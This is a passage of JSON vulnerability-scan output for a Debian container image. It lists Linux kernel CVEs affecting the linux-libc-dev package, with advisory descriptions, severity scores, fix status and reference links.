"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-93415.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/linus/e3f33b0a1d89d738e2b913dab519226eaf76e15b%20%287.3-rc7%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98432.mbox", "https://git.kernel.org/stable/c/11a03ce3c4a62d84c10ccdfe47f8075006498568", "https://git.kernel.org/stable/c/26d4c36d318cffbbd160884a0e4cec0da4da4936", "https://git.kernel.org/stable/c/742f73df544e03744f2981c467d6542fe8172a2a", "https://git.kernel.org/stable/c/89b5b1eb7d633c33832b7ff2c02e19a144705036", "https://git.kernel.org/stable/c/95a8c8fa9f27dce64c40c41c062de7728bf34ab5", "https://git.kernel.org/stable/c/a47406c769f72c070386985488f1c4d057df86b2", "https://git.kernel.org/stable/c/b3b027ef0cd322bfa839b9aaf5b27551eea54cf6", "https://git.kernel.org/stable/c/e3f33b0a1d89d738e2b913dab519226eaf76e15b", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-quiyere1yzbn.toml", "https://linux.oracle.com/cve/CVE-2026-98432.html", "https://linux.oracle.com/errata/ELSA-2026-93414.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98432", "https://ubuntu.com/blog/fixes-available-in-proposed-pocket-for-cve-2026-98432", "https://www.cve.org/CVERecord?id=CVE-2026-98432" ], "PublishedDate": "2026-10-15T13:17:13.987Z", "LastModifiedDate": "2026-11-06T19:28:12.867Z" }, { "VulnerabilityID": "CVE-2026-99083", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99083", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1e19f40d0a7e871aae01cc3c8ba461c2750a4f45f54c921d8b721b113e0f8c24", "Title": "kernel: ksmbd: fix heap out-of-bounds write in krb5_authenticate()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix heap out-of-bounds write in krb5_authenticate()\n\nIn krb5_authenticate(), out_len is calculated to determine available\nheadroom in response_buf for the incoming Kerberos AP-REP token. However,\nwhen SMB2_SESSION_SETUP is processed as a non-first element of a compounded\nSMB2 request, the calculation omits work-\u003enext_smb2_rsp_hdr_off.\n\nThis causes out_len to overstate remaining buffer headroom by\nthe cumulative size of prior responses in the compound chain. Consequently,\nthe length check in ksmbd_krb5_authenticate()\n(*out_len \u003c= resp-\u003espnego_blob_len) passes erroneously, allowing memcpy()\nto write the AP-REP blob past the end of response_buf into adjacent kernel\nheap memory.\n\nFix this by subtracting work-\u003enext_smb2_rsp_hdr_off when computing out_len,\nensuring it accurately reflects physical remaining buffer space.", "Severity": "CRITICAL", "VendorSeverity": { "photon": 3, "redhat": 4, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99083", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99083.mbox", "https://git.kernel.org/stable/c/1f73a6d40f4d1bae4f3491c0ec1ea8ee6ce035ff", "https://git.kernel.org/stable/c/23a0be6a84a38ac169eeab49017934e8e27c65f0", "https://git.kernel.org/stable/c/4722d06b2907585074252061b1024a696c1cfc23", "https://git.kernel.org/stable/c/517404e157395d0f8da125ca956c566895dfcd06", "https://git.kernel.org/stable/c/59c6dcc5dd9dafe764ca0d40525933b2be69b059", "https://git.kernel.org/stable/c/80af1bde97d5a85ad6f2c40ca894ccc8fa75a27a", "https://git.kernel.org/stable/c/a07dfb33112a42437f9d2d0bfd35c68575257381", "https://nvd.nist.gov/vuln/detail/CVE-2026-99083", "https://www.cve.org/CVERecord?id=CVE-2026-99083" ], "PublishedDate": "2026-10-23T13:17:32.577Z", "LastModifiedDate": "2026-10-30T13:21:44.38Z" }, { "VulnerabilityID": "CVE-2013-7445", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2013-7445", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:da8184a2bbb734ac0b56f80cfb2ae95154c91a04a4fffdb1296218d5fb936f80", "Title": "kernel: memory exhaustion via crafted Graphics Execution Manager (GEM) objects", "Description": "The Direct Rendering Manager (DRM) subsystem in the Linux kernel through 4.x mishandles requests for Graphics Execution Manager (GEM) objects, which allows context-dependent attackers to cause a denial of service (memory consumption) via an application that processes graphics data, as demonstrated by JavaScript code that creates many CANVAS elements for rendering by Chrome or Firefox.", "Severity": "HIGH", "CweIDs": [ "CWE-399" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V2Vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C", "V2Score": 7.8 }, "redhat": { "V2Vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "V2Score": 4.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2013-7445", "https://bugzilla.kernel.org/show_bug.cgi?id=60533", "https://lists.freedesktop.org/archives/dri-devel/2015-September/089778.html%20%28potential%20start%20towards%20fixing%29", "https://nvd.nist.gov/vuln/detail/CVE-2013-7445", "https://www.cve.org/CVERecord?id=CVE-2013-7445" ], "PublishedDate": "2015-10-16T01:59:00.12Z", "LastModifiedDate": "2026-05-06T22:30:45.22Z" }, { "VulnerabilityID": "CVE-2019-19449", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2019-19449", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:24d89ac886de2c39bb0f2c9dee3ae21e895f60677c37e663f9b1e09d74fe611c", "Title": "kernel: mounting a crafted f2fs filesystem image can lead to slab-out-of-bounds read access in f2fs_build_segment_manager in fs/f2fs/segment.c", "Description": "In the Linux kernel 5.0.21, mounting a crafted f2fs filesystem image can lead to slab-out-of-bounds read access in f2fs_build_segment_manager in fs/f2fs/segment.c, related to init_min_max_mtime in fs/f2fs/segment.c (because the second argument to get_seg_entry is not validated).", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V2Vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V2Score": 6.8, "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2019-19449", "https://github.com/bobfuzzer/CVE/tree/master/CVE-2019-19449", "https://nvd.nist.gov/vuln/detail/CVE-2019-19449", "https://security.netapp.com/advisory/ntap-20200103-0001/", "https://ubuntu.com/security/notices/USN-5120-1", "https://ubuntu.com/security/notices/USN-5136-1", "https://ubuntu.com/security/notices/USN-5137-1", "https://ubuntu.com/security/notices/USN-5137-2", "https://ubuntu.com/security/notices/USN-5343-1", "https://www.cve.org/CVERecord?id=CVE-2019-19449" ], "PublishedDate": "2019-12-08T02:15:09.97Z", "LastModifiedDate": "2026-06-17T02:26:40.43Z" }, { "VulnerabilityID": "CVE-2019-19814", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2019-19814", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:78f9c1be6a2baa1505b8bc1b260b63e4345070ff7bfb96ec73a4b472cef65a65", "Title": "kernel: out-of-bounds write in __remove_dirty_segment in fs/f2fs/segment.c", "Description": "In the Linux kernel 5.0.21, mounting a crafted f2fs filesystem image can cause __remove_dirty_segment slab-out-of-bounds write access because an array is bounded by the number of dirty types (8) but the array index can exceed this.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V2Vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V2Score": 9.3, "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2019-19814", "https://github.com/bobfuzzer/CVE/tree/master/CVE-2019-19814", "https://nvd.nist.gov/vuln/detail/CVE-2019-19814", "https://security.netapp.com/advisory/ntap-20200103-0001/", "https://www.cve.org/CVERecord?id=CVE-2019-19814" ], "PublishedDate": "2019-12-17T06:15:12.843Z", "LastModifiedDate": "2026-06-17T02:27:17.097Z" }, { "VulnerabilityID": "CVE-2021-3847", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2021-3847", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f537be83d98c40ff19960879fd07d4a4c711dff6963e8b0167608cca3dd10f6c", "Title": "kernel: low-privileged user privileges escalation", "Description": "An unauthorized access to the execution of the setuid file with capabilities flaw in the Linux kernel OverlayFS subsystem was found in the way user copying a capable file from a nosuid mount into another mount. A local user could use this flaw to escalate their privileges on the system.", "Severity": "HIGH", "CweIDs": [ "CWE-281" ], "VendorSeverity": { "cbl-mariner": 3, "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V2Vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V2Score": 7.2, "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2021-3847", "https://bugzilla.redhat.com/show_bug.cgi?id=2009704", "https://nvd.nist.gov/vuln/detail/CVE-2021-3847", "https://www.cve.org/CVERecord?id=CVE-2021-3847", "https://www.openwall.com/lists/oss-security/2021/10/14/3" ], "PublishedDate": "2022-04-01T23:15:10.597Z", "LastModifiedDate": "2026-06-17T04:05:53.22Z" }, { "VulnerabilityID": "CVE-2021-3864", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2021-3864", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:654a0c1d1a5056082cf91e99a72a116cdf641efa17152591fb9fc5c271e7d45c", "Title": "kernel: descendant's dumpable setting with certain SUID binaries", "Description": "A flaw was found in the way the dumpable flag setting was handled when certain SUID binaries executed its descendants. The prerequisite is a SUID binary that sets real UID equal to effective UID, and real GID equal to effective GID. The descendant will then have a dumpable value set to 1. As a result, if the descendant process crashes and core_pattern is set to a relative value, its core dump is stored in the current directory with uid:gid permissions. An unprivileged local user with eligible root SUID binary could use this flaw to place core dumps into root-owned directories, potentially resulting in escalation of privileges.", "Severity": "HIGH", "CweIDs": [ "CWE-284" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2021-3864", "https://bugzilla.redhat.com/show_bug.cgi?id=2015046", "https://lore.kernel.org/all/20211221021744.864115-1-longman@redhat.com", "https://lore.kernel.org/all/20211221021744.864115-1-longman@redhat.com/", "https://lore.kernel.org/all/20211226150310.GA992@1wt.eu/", "https://lore.kernel.org/lkml/20211228170910.623156-1-wander@redhat.com", "https://lore.kernel.org/lkml/20211228170910.623156-1-wander@redhat.com/", "https://nvd.nist.gov/vuln/detail/CVE-2021-3864", "https://security-tracker.debian.org/tracker/CVE-2021-3864", "https://www.cve.org/CVERecord?id=CVE-2021-3864", "https://www.openwall.com/lists/oss-security/2021/10/20/2" ], "PublishedDate": "2022-08-26T16:15:09.68Z", "LastModifiedDate": "2026-06-17T04:05:55.15Z" }, { "VulnerabilityID": "CVE-2024-21803", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-21803", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3767c261ae8725873b2e9ef69c47c1e00731255884a9f2141879c1305b50c675", "Title": "kernel: bluetooth: use-after-free vulnerability in af_bluetooth.c", "Description": "Use After Free vulnerability in Linux Linux kernel kernel on Linux, x86, ARM (bluetooth modules) allows Local Execution of Code. This vulnerability is associated with program files https://gitee.Com/anolis/cloud-kernel/blob/devel-5.10/net/bluetooth/af_bluetooth.C.\n\nThis issue affects Linux kernel: from v2.6.12-rc2 before v6.8-rc1.\n\n", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "cbl-mariner": 3, "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-21803", "https://bugzilla.openanolis.cn/show_bug.cgi?id=8081", "https://nvd.nist.gov/vuln/detail/CVE-2024-21803", "https://www.cve.org/CVERecord?id=CVE-2024-21803" ], "PublishedDate": "2024-01-30T08:15:41.373Z", "LastModifiedDate": "2026-06-17T07:10:11.723Z" }, { "VulnerabilityID": "CVE-2024-58015", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-58015", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f5579a1fd69c92f2961b0aa7e030fcb8a3987456b593bf907b79f5c8a81063a1", "Title": "kernel: wifi: ath12k: Fix for out-of bound access error", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath12k: Fix for out-of bound access error\n\nSelfgen stats are placed in a buffer using print_array_to_buf_index() function.\nArray length parameter passed to the function is too big, resulting in possible\nout-of bound memory error.\nDecreasing buffer size by one fixes faulty upper bound of passed array.\n\nDiscovered in coverity scan, CID 1600742 and CID 1600758", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "nvd": 3, "oracle-oval": 2, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H", "V3Score": 6 } }, "References": [ "https://access.redhat.com/errata/RHSA-2025:20518", "https://access.redhat.com/security/cve/CVE-2024-58015", "https://bugzilla.redhat.com/2298169", "https://bugzilla.redhat.com/2312077", "https://bugzilla.redhat.com/2313092", "https://bugzilla.redhat.com/2320172", "https://bugzilla.redhat.com/2320259", "https://bugzilla.redhat.com/2320455", "https://bugzilla.redhat.com/2320616", "https://bugzilla.redhat.com/2320722", "https://bugzilla.redhat.com/2324549", "https://bugzilla.redhat.com/2327203", "https://bugzilla.redhat.com/2327374", "https://bugzilla.redhat.com/2327887", "https://bugzilla.redhat.com/2329918", "https://bugzilla.redhat.com/2330341", "https://bugzilla.redhat.com/2331326", "https://bugzilla.redhat.com/2334357", "https://bugzilla.redhat.com/2334396", "https://bugzilla.redhat.com/2334415", "https://bugzilla.redhat.com/2334439", "https://bugzilla.redhat.com/2334537", "https://bugzilla.redhat.com/2334547", "https://bugzilla.redhat.com/2334548", "https://bugzilla.redhat.com/2334560", "https://bugzilla.redhat.com/2334676", "https://bugzilla.redhat.com/2334795", "https://bugzilla.redhat.com/2334829", "https://bugzilla.redhat.com/2336541", "https://bugzilla.redhat.com/2337121", "https://bugzilla.redhat.com/2337124", "https://bugzilla.redhat.com/2338814", "https://bugzilla.redhat.com/2338828", "https://bugzilla.redhat.com/2338832", "https://bugzilla.redhat.com/2343172", "https://bugzilla.redhat.com/2343175", "https://bugzilla.redhat.com/2344684", "https://bugzilla.redhat.com/2344687", "https://bugzilla.redhat.com/2345240", "https://bugzilla.redhat.com/2346272", "https://bugzilla.redhat.com/2347707", "https://bugzilla.redhat.com/2347753", "https://bugzilla.redhat.com/2347759", "https://bugzilla.redhat.com/2347781", "https://bugzilla.redhat.com/2347807", "https://bugzilla.redhat.com/2347859", "https://bugzilla.redhat.com/2347919", "https://bugzilla.redhat.com/2347968", "https://bugzilla.redhat.com/2348022", "https://bugzilla.redhat.com/2348071", "https://bugzilla.redhat.com/2348238", "https://bugzilla.redhat.com/2348240", "https://bugzilla.redhat.com/2348279", "https://bugzilla.redhat.com/2348515", "https://bugzilla.redhat.com/2348523", "https://bugzilla.redhat.com/2348528", "https://bugzilla.redhat.com/2348541", "https://bugzilla.redhat.com/2348543", "https://bugzilla.redhat.com/2348547", "https://bugzilla.redhat.com/2348550", "https://bugzilla.redhat.com/2348554", "https://bugzilla.redhat.com/2348556", "https://bugzilla.redhat.com/2348566", "https://bugzilla.redhat.com/2348573", "https://bugzilla.redhat.com/2348574", "https://bugzilla.redhat.com/2348577", "https://bugzilla.redhat.com/2348578", "https://bugzilla.redhat.com/2348581", "https://bugzilla.redhat.com/2348584", "https://bugzilla.redhat.com/2348585", "https://bugzilla.redhat.com/2348587", "https://bugzilla.redhat.com/2348595", "https://bugzilla.redhat.com/2348597", "https://bugzilla.redhat.com/2348600", "https://bugzilla.redhat.com/2348601", "https://bugzilla.redhat.com/2348615", "https://bugzilla.redhat.com/2348620", "https://bugzilla.redhat.com/2348625", "https://bugzilla.redhat.com/2348634", "https://bugzilla.redhat.com/2348645", "https://bugzilla.redhat.com/2348650", "https://bugzilla.redhat.com/2348654", "https://bugzilla.redhat.com/2348901", "https://bugzilla.redhat.com/2350363", "https://bugzilla.redhat.com/2350367", "https://bugzilla.redhat.com/2350374", "https://bugzilla.redhat.com/2350375", "https://bugzilla.redhat.com/2350386", "https://bugzilla.redhat.com/2350388", "https://bugzilla.redhat.com/2350392", "https://bugzilla.redhat.com/2350396", "https://bugzilla.redhat.com/2350397", "https://bugzilla.redhat.com/2350400", "https://bugzilla.redhat.com/2350585", "https://bugzilla.redhat.com/2350589", "https://bugzilla.redhat.com/2350725", "https://bugzilla.redhat.com/2350726", "https://bugzilla.redhat.com/2351606", "https://bugzilla.redhat.com/2351608", "https://bugzilla.redhat.com/2351612", "https://bugzilla.redhat.com/2351613", "https://bugzilla.redhat.com/2351616", "https://bugzilla.redhat.com/2351618", "https://bugzilla.redhat.com/2351620", "https://bugzilla.redhat.com/2351624", "https://bugzilla.redhat.com/2351625", "https://bugzilla.redhat.com/2351629", "https://bugzilla.redhat.com/2351633", "https://bugzilla.redhat.com/2360215", "https://bugzilla.redhat.com/2363380", "https://bugzilla.redhat.com/2369184", "https://bugzilla.redhat.com/2376076", "https://bugzilla.redhat.com/2383441", "https://bugzilla.redhat.com/show_bug.cgi?id=2298169", "https://bugzilla.redhat.com/show_bug.cgi?id=2312077", "https://bugzilla.redhat.com/show_bug.cgi?id=2313092", "https://bugzilla.redhat.com/show_bug.cgi?id=2320172", "https://bugzilla.redhat.com/show_bug.cgi?id=2320259", "https://bugzilla.redhat.com/show_bug.cgi?id=2320455", "https://bugzilla.redhat.com/show_bug.cgi?id=2320616", "https://bugzilla.redhat.com/show_bug.cgi?id=2320722", "https://bugzilla.redhat.com/show_bug.cgi?id=2324549", "https://bugzilla.redhat.com/show_bug.cgi?id=2327203", "https://bugzilla.redhat.com/show_bug.cgi?id=2327374", "https://bugzilla.redhat.com/show_bug.cgi?id=2327887", "https://bugzilla.redhat.com/show_bug.cgi?id=2329918", "https://bugzilla.redhat.com/show_bug.cgi?id=2330341", "https://bugzilla.redhat.com/show_bug.cgi?id=2331326", "https://bugzilla.redhat.com/show_bug.cgi?id=2334357", "https://bugzilla.redhat.com/show_bug.cgi?id=2334396", "https://bugzilla.redhat.com/show_bug.cgi?id=2334415", "https://bugzilla.redhat.com/show_bug.cgi?id=2334439", "https://bugzilla.redhat.com/show_bug.cgi?id=2334537", "https://bugzilla.redhat.com/show_bug.cgi?id=2334547", "https://bugzilla.redhat.com/show_bug.cgi?id=2334548", "https://bugzilla.redhat.com/show_bug.cgi?id=2334560", "https://bugzilla.redhat.com/show_bug.cgi?id=2334676", "https://bugzilla.redhat.com/show_bug.cgi?id=2334795", "https://bugzilla.redhat.com/show_bug.cgi?id=2334829", "https://bugzilla.redhat.com/show_bug.cgi?id=2336541", "https://bugzilla.redhat.com/show_bug.cgi?id=2337121", "https://bugzilla.redhat.com/show_bug.cgi?id=2337124", "https://bugzilla.redhat.com/show_bug.cgi?id=2338814", "https://bugzilla.redhat.com/show_bug.cgi?id=2338828", "https://bugzilla.redhat.com/show_bug.cgi?id=2338832", "https://bugzilla.redhat.com/show_bug.cgi?id=2343172", "https://bugzilla.redhat.com/show_bug.cgi?id=2343175", "https://bugzilla.redhat.com/show_bug.cgi?id=2344684", "https://bugzilla.redhat.com/show_bug.cgi?id=2344687", "https://bugzilla.redhat.com/show_bug.cgi?id=2345240", "https://bugzilla.redhat.com/show_bug.cgi?id=2346272", "https://bugzilla.redhat.com/show_bug.cgi?id=2347707", "https://bugzilla.redhat.com/show_bug.cgi?id=2347753", "https://bugzilla.redhat.com/show_bug.cgi?id=2347759", "https://bugzilla.redhat.com/show_bug.cgi?id=2347781", "https://bugzilla.redhat.com/show_bug.cgi?id=2347807", "https://bugzilla.redhat.com/show_bug.cgi?id=2347859", "https://bugzilla.redhat.com/show_bug.cgi?id=2347919", "https://bugzilla.redhat.com/show_bug.cgi?id=2347968", "https://bugzilla.redhat.com/show_bug.cgi?id=2348022", "https://bugzilla.redhat.com/show_bug.cgi?id=2348071", "https://bugzilla.redhat.com/show_bug.cgi?id=2348238", "https://bugzilla.redhat.com/show_bug.cgi?id=2348240", "https://bugzilla.redhat.com/show_bug.cgi?id=2348279", "https://bugzilla.redhat.com/show_bug.cgi?id=2348515", "https://bugzilla.redhat.com/show_bug.cgi?id=2348523", "https://bugzilla.redhat.com/show_bug.cgi?id=2348528", "https://bugzilla.redhat.com/show_bug.cgi?id=2348541", "https://bugzilla.redhat.com/show_bug.cgi?id=2348543", "https://bugzilla.redhat.com/show_bug.cgi?id=2348547", "https://bugzilla.redhat.com/show_bug.cgi?id=2348550", "https://bugzilla.redhat.com/show_bug.cgi?id=2348554", "https://bugzilla.redhat.com/show_bug.cgi?id=2348556", "https://bugzilla.redhat.com/show_bug.cgi?id=2348566", "https://bugzilla.redhat.com/show_bug.cgi?id=2348573", "https://bugzilla.redhat.com/show_bug.cgi?id=2348574", "https://bugzilla.redhat.com/show_bug.cgi?id=2348577", "https://bugzilla.redhat.com/show_bug.cgi?id=2348578", "https://bugzilla.redhat.com/show_bug.cgi?id=2348581", "https://bugzilla.redhat.com/show_bug.cgi?id=2348584", "https://bugzilla.redhat.com/show_bug.cgi?id=2348585", "https://bugzilla.redhat.com/show_bug.cgi?id=2348587", "https://bugzilla.redhat.com/show_bug.cgi?id=2348595", "https://bugzilla.redhat.com/show_bug.cgi?id=2348597", "https://bugzilla.redhat.com/show_bug.cgi?id=2348600", "https://bugzilla.redhat.com/show_bug.cgi?id=2348601", "https://bugzilla.redhat.com/show_bug.cgi?id=2348615", "https://bugzilla.redhat.com/show_bug.cgi?id=2348620", "https://bugzilla.redhat.com/show_bug.cgi?id=2348625", "https://bugzilla.redhat.com/show_bug.cgi?id=2348634", "https://bugzilla.redhat.com/show_bug.cgi?id=2348645", "https://bugzilla.redhat.com/show_bug.cgi?id=2348650", "https://bugzilla.redhat.com/show_bug.cgi?id=2348654", "https://bugzilla.redhat.com/show_bug.cgi?id=2348901", "https://bugzilla.redhat.com/show_bug.cgi?id=2350363", "https://bugzilla.redhat.com/show_bug.cgi?id=2350367", "https://bugzilla.redhat.com/show_bug.cgi?id=2350374", "https://bugzilla.redhat.com/show_bug.cgi?id=2350375", "https://bugzilla.redhat.com/show_bug.cgi?id=2350386", "https://bugzilla.redhat.com/show_bug.cgi?id=2350388", "https://bugzilla.redhat.com/show_bug.cgi?id=2350392", "https://bugzilla.redhat.com/show_bug.cgi?id=2350396", "https://bugzilla.redhat.com/show_bug.cgi?id=2350397", "https://bugzilla.redhat.com/show_bug.cgi?id=2350400", "https://bugzilla.redhat.com/show_bug.cgi?id=2350585", "https://bugzilla.redhat.com/show_bug.cgi?id=2350589", 